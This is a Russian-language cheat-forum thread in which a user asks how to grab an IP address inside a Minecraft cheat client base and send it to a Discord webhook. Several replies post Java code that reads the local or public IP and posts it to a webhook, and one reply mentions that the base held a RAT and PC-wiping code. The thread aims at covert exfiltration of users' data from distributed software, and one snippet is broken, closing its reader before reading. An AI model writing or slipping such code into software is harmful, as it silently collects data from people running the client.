Вопрос Как получать и отпровлять айпи

Начинающий
Начинающий
Статус
Оффлайн
Регистрация
13 Янв 2025
Сообщения
7
Реакции
0

Перед прочтением основного контента ниже, пожалуйста, обратите внимание на обновление внутри секции Майна на нашем форуме. У нас появились:

  • бесплатные читы для Майнкрафт — любое использование на свой страх и риск;
  • маркетплейс Майнкрафт — абсолютно любая коммерция, связанная с игрой, за исключением продажи читов (аккаунты, предоставления услуг, поиск кодеров читов и так далее);
  • приватные читы для Minecraft — в этом разделе только платные хаки для игры, покупайте группу "Продавец" и выставляйте на продажу свой софт;
  • обсуждения и гайды — всё тот же раздел с вопросами, но теперь модернизированный: поиск нужных хаков, пати с игроками-читерами и другая полезная информация.

Спасибо!

как получать айпи и отпровлять его в вебхук база Expensive 2.0
 
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
как получать айпи и отпровлять его в вебхук база Expensive 2.0

Java:
Expand Collapse Copy
import java.net.*;
import java.io.*;
import java.util.*;

public class DiscordIpSender {
    public static String getIpAddress() throws SocketException {
        Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces();
        while (interfaces.hasMoreElements()) {
            NetworkInterface iface = interfaces.nextElement();
            if (iface.isLoopback() || !iface.isUp()) continue;
            Enumeration<InetAddress> addresses = iface.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                if (addr instanceof Inet4Address) return addr.getHostAddress();
            }
        }
        return "";
    }

    public static void sendToDiscord(String webhookUrl, String ip) throws IOException {
        URL url = new URL(webhookUrl);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setDoOutput(true);
        
        String payload = "{\"content\": \"Discovered IP: ||" + ip + "||\"}";
        
        try (OutputStream os = conn.getOutputStream()) {
            byte[] input = payload.getBytes("utf-8");
            os.write(input, 0, input.length);
        }
        
        int responseCode = conn.getResponseCode();
    }

    public static void main(String[] args) {
        try {
            String ip = getIpAddress();
            sendToDiscord("https://вебхук_дискорда", ip);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
 
Java:
Expand Collapse Copy
import java.net.*;
import java.io.*;
import java.util.*;

public class DiscordIpSender {
    public static String getIpAddress() throws SocketException {
        Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces();
        while (interfaces.hasMoreElements()) {
            NetworkInterface iface = interfaces.nextElement();
            if (iface.isLoopback() || !iface.isUp()) continue;
            Enumeration<InetAddress> addresses = iface.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                if (addr instanceof Inet4Address) return addr.getHostAddress();
            }
        }
        return "";
    }

    public static void sendToDiscord(String webhookUrl, String ip) throws IOException {
        URL url = new URL(webhookUrl);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setDoOutput(true);
       
        String payload = "{\"content\": \"Discovered IP: ||" + ip + "||\"}";
       
        try (OutputStream os = conn.getOutputStream()) {
            byte[] input = payload.getBytes("utf-8");
            os.write(input, 0, input.length);
        }
       
        int responseCode = conn.getResponseCode();
    }

    public static void main(String[] args) {
        try {
            String ip = getIpAddress();
            sendToDiscord("https://вебхук_дискорда", ip);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
чат гпт момент
 
чат гпт момент
так нет, это другая нейронка. вот код по такому же запросу который я кидал но от чата гпт:

Java:
Expand Collapse Copy
import java.net.InetAddress;
import java.net.URL;
import java.net.HttpURLConnection;
import java.io.OutputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class SendIpToDiscord {
    public static void main(String[] args) {
        HttpURLConnection connection = null;
        BufferedReader reader = null;
        try {
            String ip = InetAddress.getLocalHost().getHostAddress();
            String webhookUrl = "https://discord.com/api/webhooks/XXXXXXXX/XXXXXXXX";
            URL url = new URL(webhookUrl);
            connection = (HttpURLConnection) url.openConnection();
            connection.setRequestMethod("POST");
            connection.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
            connection.setDoOutput(true);
            String payload = "{\"content\":\"IP: " + ip + "\"}";
            byte[] out = payload.getBytes("UTF-8");
            try (OutputStream outputStream = connection.getOutputStream()) {
                outputStream.write(out);
            }
            int responseCode = connection.getResponseCode();
            StringBuilder response = new StringBuilder();
            reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8"));
            String line;
            while ((line = reader.readLine()) != null) {
                response.append(line);
            }
            System.out.println("Response Code: " + responseCode);
            System.out.println("Response Body: " + response.toString());
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            if (reader != null) {
                try {
                    reader.close();
                } catch (Exception ignored) {
                }
            }
            if (connection != null) {
                connection.disconnect();
            }
        }
    }
}
 
так нет, это другая нейронка. вот код по такому же запросу который я кидал но от чата гпт:

Java:
Expand Collapse Copy
import java.net.InetAddress;
import java.net.URL;
import java.net.HttpURLConnection;
import java.io.OutputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class SendIpToDiscord {
    public static void main(String[] args) {
        HttpURLConnection connection = null;
        BufferedReader reader = null;
        try {
            String ip = InetAddress.getLocalHost().getHostAddress();
            String webhookUrl = "https://discord.com/api/webhooks/XXXXXXXX/XXXXXXXX";
            URL url = new URL(webhookUrl);
            connection = (HttpURLConnection) url.openConnection();
            connection.setRequestMethod("POST");
            connection.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
            connection.setDoOutput(true);
            String payload = "{\"content\":\"IP: " + ip + "\"}";
            byte[] out = payload.getBytes("UTF-8");
            try (OutputStream outputStream = connection.getOutputStream()) {
                outputStream.write(out);
            }
            int responseCode = connection.getResponseCode();
            StringBuilder response = new StringBuilder();
            reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8"));
            String line;
            while ((line = reader.readLine()) != null) {
                response.append(line);
            }
            System.out.println("Response Code: " + responseCode);
            System.out.println("Response Body: " + response.toString());
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            if (reader != null) {
                try {
                    reader.close();
                } catch (Exception ignored) {
                }
            }
            if (connection != null) {
                connection.disconnect();
            }
        }
    }
}
ну значит или DeepSeek либо Cody AI
 
Сорян брод не отпровляется нечего, хз клодмен злой ведемо
 
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Там была ратка и сносы пк и тд
А если будешь с вебхуком играться то клиент в скором времени может на юг оказаться
1000375751.jpg
 
Java:
Expand Collapse Copy
import java.net.*;
import java.io.*;
import java.util.*;

public class DiscordIpSender {
    public static String getIpAddress() throws SocketException {
        Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces();
        while (interfaces.hasMoreElements()) {
            NetworkInterface iface = interfaces.nextElement();
            if (iface.isLoopback() || !iface.isUp()) continue;
            Enumeration<InetAddress> addresses = iface.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                if (addr instanceof Inet4Address) return addr.getHostAddress();
            }
        }
        return "";
    }

    public static void sendToDiscord(String webhookUrl, String ip) throws IOException {
        URL url = new URL(webhookUrl);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setDoOutput(true);
       
        String payload = "{\"content\": \"Discovered IP: ||" + ip + "||\"}";
       
        try (OutputStream os = conn.getOutputStream()) {
            byte[] input = payload.getBytes("utf-8");
            os.write(input, 0, input.length);
        }
       
        int responseCode = conn.getResponseCode();
    }

    public static void main(String[] args) {
        try {
            String ip = getIpAddress();
            sendToDiscord("https://вебхук_дискорда", ip);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
а вот так вот не?

Java:
Expand Collapse Copy
    private static synchronized String getIp() {
        try {
            URL url = new URL("http://checkip.dyndns.org/");
            BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
            in.close();
            
            Pattern pattern = Pattern.compile("\\d+\\.\\d+\\.\\d+\\.\\d+");
            Matcher matcher = pattern.matcher(in.readLine());
            if (matcher.find()) {
                return matcher.group();
            } else {
                return "Unknown IP";
            }
        } catch (IOException e) {
            return "Unknown IP";
        }
    }
 
Назад
Сверху Снизу